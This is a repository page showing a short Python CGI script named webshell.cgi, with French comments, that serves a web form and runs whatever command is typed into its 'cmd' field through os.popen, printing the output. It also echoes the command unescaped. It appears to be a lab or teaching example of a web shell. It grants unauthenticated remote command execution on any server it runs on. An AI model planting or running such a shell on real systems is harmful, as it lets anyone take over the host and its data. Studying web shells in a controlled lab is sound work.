summaryrefslogtreecommitdiff
path: root/html/cgi-bin/webshell.cgi
blob: a1c755453bc3fb2d2fc28c8b3daaae97a2bc18d6 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3

# après avoir lancé le serveur : python3 -m http.server --cgi

import cgi
import os

cmd = ""
form = cgi.FieldStorage()
if form.getvalue('cmd'):
    cmd = form.getvalue('cmd')

print("Content-Type: text/html\n\n")
print ("""
<!DOCTYPE html>
<html>
<head>
<title>Web shell</title>
<meta charset="utf-8">
</head>
<body>
<h1>Web shell</h1>
""")

print("<p>Votre commande : ")
if cmd : print(cmd)
print("</p>")

print("""
<form>
<input type='text' name='cmd' autofocus>
</form>
""")

if cmd : print(f"<pre>{os.popen(cmd).read()}</pre>")

print("""
</body>
</html>
""")